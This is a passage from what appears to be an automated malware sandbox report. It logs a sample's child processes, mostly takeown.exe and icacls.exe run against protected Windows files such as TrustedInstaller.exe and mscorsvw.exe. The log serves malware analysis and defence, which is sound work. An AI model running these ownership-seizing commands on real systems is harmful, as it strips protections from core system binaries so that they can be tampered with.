(hEvent=0x138) returned 1 [0259.868] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) Process: id = "107" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x6872b000" os_pid = "0x464" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1084 os_tid = 0x314 Thread: id = 1087 os_tid = 0x600 Process: id = "108" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x5e53000" os_pid = "0x330" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1085 os_tid = 0x578 Thread: id = 1086 os_tid = 0x48c Process: id = "109" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x68430000" os_pid = "0x4a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1088 os_tid = 0x2b4 Process: id = "110" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x68d59000" os_pid = "0x1f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1089 os_tid = 0x28c Thread: id = 1090 os_tid = 0x4ac Process: id = "111" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x67237000" os_pid = "0x154" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1091 os_tid = 0xe8 Thread: id = 1094 os_tid = 0x4bc Process: id = "112" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6885f000" os_pid = "0x650" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1092 os_tid = 0x79c Thread: id = 1093 os_tid = 0x65c Process: id = "113" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x6693c000" os_pid = "0x208" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0x6cc" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1095 os_tid = 0x320 Process: id = "114" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x67565000" os_pid = "0x360" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1096 os_tid = 0x648 Thread: id = 1097 os_tid = 0x63c